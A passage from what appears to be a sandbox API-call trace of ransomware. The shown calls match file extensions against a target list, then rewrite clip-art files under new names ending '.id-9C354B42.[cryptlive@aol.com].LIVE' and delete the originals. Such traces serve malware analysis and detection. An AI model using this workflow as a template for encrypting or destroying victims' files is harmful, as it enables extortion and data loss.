Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0146.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0146.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0146.163] lstrlenW (lpString=".doc") returned 4 [0146.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.163] lstrlenW (lpString=".docx") returned 5 [0146.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.163] lstrlenW (lpString=".pdf") returned 4 [0146.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.163] lstrlenW (lpString=".xls") returned 4 [0146.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.163] lstrlenW (lpString=".xlsx") returned 5 [0146.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.163] lstrlenW (lpString=".ppt") returned 4 [0146.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0146.163] lstrlenW (lpString=".zip") returned 4 [0146.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.163] lstrlenW (lpString=".rar") returned 4 [0146.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.163] lstrlenW (lpString=".bz2") returned 4 [0146.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.163] lstrlenW (lpString=".7z") returned 3 [0146.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0146.163] lstrlenW (lpString=".dbf") returned 4 [0146.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0146.163] lstrlenW (lpString=".1cd") returned 4 [0146.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0146.163] lstrlenW (lpString=".jpg") returned 4 [0146.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0146.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0146.163] lstrlenW (lpString=".doc") returned 4 [0146.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.163] lstrlenW (lpString=".docx") returned 5 [0146.164] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.164] lstrlenW (lpString=".pdf") returned 4 [0146.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.164] lstrlenW (lpString=".xls") returned 4 [0146.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.164] lstrlenW (lpString=".xlsx") returned 5 [0146.164] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.164] lstrlenW (lpString=".ppt") returned 4 [0146.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0146.164] lstrlenW (lpString=".zip") returned 4 [0146.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.164] lstrlenW (lpString=".rar") returned 4 [0146.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.164] lstrlenW (lpString=".bz2") returned 4 [0146.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.164] lstrlenW (lpString=".7z") returned 3 [0146.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0146.164] lstrlenW (lpString=".dbf") returned 4 [0146.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0146.164] lstrlenW (lpString=".1cd") returned 4 [0146.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0146.164] lstrlenW (lpString=".jpg") returned 4 [0146.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.164] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.164] lstrlenW (lpString="HH01015_.WMF") returned 12 [0146.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0146.316] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1148) returned 1 [0146.316] CloseHandle (hObject=0x3d0) returned 1 [0146.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x20 [0146.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0146.381] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.381] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.382] GetLastError () returned 0x0 [0146.382] ReadFile (in: hFile=0x3d4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x47c, lpOverlapped=0x0) returned 1 [0146.451] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x480, lpOverlapped=0x0) returned 1 [0146.452] ReadFile (in: hFile=0x3d4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.452] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.452] SetEndOfFile (hFile=0x350) returned 1 [0146.452] CloseHandle (hObject=0x350) returned 1 [0146.452] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.452] SetEndOfFile (hFile=0x3d4) returned 1 [0146.455] CloseHandle (hObject=0x3d4) returned 1 [0146.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0146.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0146.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0146.456] lstrlenW (lpString=".doc") returned 4 [0146.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.456] lstrlenW (lpString=".docx") returned 5 [0146.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.456] lstrlenW (lpString=".pdf") returned 4 [0146.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.456] lstrlenW (lpString=".xls") returned 4 [0146.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.457] lstrlenW (lpString=".xlsx") returned 5 [0146.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.457] lstrlenW (lpString=".ppt") returned 4 [0146.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0146.457] lstrlenW (lpString=".zip") returned 4 [0146.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.457] lstrlenW (lpString=".rar") returned 4 [0146.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.457] lstrlenW (lpString=".bz2") returned 4 [0146.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.457] lstrlenW (lpString=".7z") returned 3 [0146.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0146.457] lstrlenW (lpString=".dbf") returned 4 [0146.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0146.457] lstrlenW (lpString=".1cd") returned 4 [0146.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0146.457] lstrlenW (lpString=".jpg") returned 4 [0146.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0146.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0146.457] lstrlenW (lpString=".doc") returned 4 [0146.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.457] lstrlenW (lpString=".docx") returned 5 [0146.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.457] lstrlenW (lpString=".pdf") returned 4 [0146.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.457] lstrlenW (lpString=".xls") returned 4 [0146.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.457] lstrlenW (lpString=".xlsx") returned 5 [0146.458] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.458] lstrlenW (lpString=".ppt") returned 4 [0146.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0146.458] lstrlenW (lpString=".zip") returned 4 [0146.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.458] lstrlenW (lpString=".rar") returned 4 [0146.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.458] lstrlenW (lpString=".bz2") returned 4 [0146.458] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.458] lstrlenW (lpString=".7z") returned 3 [0146.458] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0146.458] lstrlenW (lpString=".dbf") returned 4 [0146.458] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0146.458] lstrlenW (lpString=".1cd") returned 4 [0146.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0146.458] lstrlenW (lpString=".jpg") returned 4 [0146.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.458] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.458] lstrlenW (lpString="HH01759_.WMF") returned 12 [0146.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.505] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5414) returned 1 [0146.505] CloseHandle (hObject=0x350) returned 1 [0146.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x20 [0146.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.506] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.506] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0146.507] GetLastError () returned 0x0 [0146.507] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1526, lpOverlapped=0x0) returned 1 [0146.540] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1530, lpOverlapped=0x0) returned 1 [0146.541] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.541] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.541] SetEndOfFile (hFile=0x39c) returned 1 [0146.541] CloseHandle (hObject=0x39c) returned 1 [0146.541] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.541] SetEndOfFile (hFile=0x350) returned 1 [0146.544] CloseHandle (hObject=0x350) returned 1 [0146.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0146.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0146.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0146.545] lstrlenW (lpString=".doc") returned 4 [0146.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.545] lstrlenW (lpString=".docx") returned 5 [0146.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.545] lstrlenW (lpString=".pdf") returned 4 [0146.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.545] lstrlenW (lpString=".xls") returned 4 [0146.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.545] lstrlenW (lpString=".xlsx") returned 5 [0146.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.545] lstrlenW (lpString=".ppt") returned 4 [0146.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0146.545] lstrlenW (lpString=".zip") returned 4 [0146.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.545] lstrlenW (lpString=".rar") returned 4 [0146.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.545] lstrlenW (lpString=".bz2") returned 4 [0146.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.545] lstrlenW (lpString=".7z") returned 3 [0146.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0146.545] lstrlenW (lpString=".dbf") returned 4 [0146.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0146.545] lstrlenW (lpString=".1cd") returned 4 [0146.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0146.545] lstrlenW (lpString=".jpg") returned 4 [0146.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0146.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0146.546] lstrlenW (lpString=".doc") returned 4 [0146.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.546] lstrlenW (lpString=".docx") returned 5 [0146.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.546] lstrlenW (lpString=".pdf") returned 4 [0146.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.546] lstrlenW (lpString=".xls") returned 4 [0146.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.546] lstrlenW (lpString=".xlsx") returned 5 [0146.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.546] lstrlenW (lpString=".ppt") returned 4 [0146.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0146.546] lstrlenW (lpString=".zip") returned 4 [0146.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.546] lstrlenW (lpString=".rar") returned 4 [0146.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.546] lstrlenW (lpString=".bz2") returned 4 [0146.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.546] lstrlenW (lpString=".7z") returned 3 [0146.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0146.546] lstrlenW (lpString=".dbf") returned 4 [0146.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0146.546] lstrlenW (lpString=".1cd") returned 4 [0146.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 63 [0146.546] lstrlenW (lpString=".jpg") returned 4 [0146.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.547] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.547] lstrlenW (lpString="HH02282_.WMF") returned 12 [0146.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.547] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7932) returned 1 [0146.547] CloseHandle (hObject=0x350) returned 1 [0146.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x20 [0146.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0146.548] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.548] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0146.549] GetLastError () returned 0x0 [0146.549] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1efc, lpOverlapped=0x0) returned 1 [0146.560] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1f00, lpOverlapped=0x0) returned 1 [0146.562] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.562] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0146.562] SetEndOfFile (hFile=0x39c) returned 1 [0146.562] CloseHandle (hObject=0x39c) returned 1 [0146.562] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.563] SetEndOfFile (hFile=0x350) returned 1 [0146.565] CloseHandle (hObject=0x350) returned 1 [0146.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0146.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0146.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0146.566] lstrlenW (lpString=".doc") returned 4 [0146.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.566] lstrlenW (lpString=".docx") returned 5 [0146.566] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.566] lstrlenW (lpString=".pdf") returned 4 [0146.566] lstrcmpiW (lpString1=".pdf", 